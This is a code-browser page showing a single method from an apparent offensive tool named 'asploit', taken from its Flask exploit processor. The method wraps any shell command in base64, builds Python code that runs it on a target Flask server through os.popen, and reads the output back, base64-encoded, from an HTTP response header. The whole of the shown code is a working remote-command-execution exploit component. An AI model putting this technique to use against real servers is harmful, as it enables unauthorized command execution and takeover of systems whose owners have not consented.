MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__run

Method _Base__run

src/FlaskExploitProcessor.py:130–143  ·  view source on GitHub ↗
(self, command: str)

Source from the content-addressed store, hash-verified

128 @brief See base class for details.
129 """
130 def _Base__run(self, command: str):
131 encoded = base64.b64encode(command.encode()).decode()
132 res = self.__eval(
133 f"try:\n"
134 f"\tr.headers['{self.header}']="
135 f"__import__('base64').b64encode("
136 f"__import__('os').popen("
137 f"__import__('base64').b64decode("
138 f"b'{encoded}').decode()"
139 f").read().encode()).decode();\n"
140 f"except Exception as e:\n"
141 f"\tr.headers['{self.header}']=__import__('base64').b64encode("
142 f"str(e).encode());")
143 print(base64.b64decode(res).decode(), end='')
144
145 """
146 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected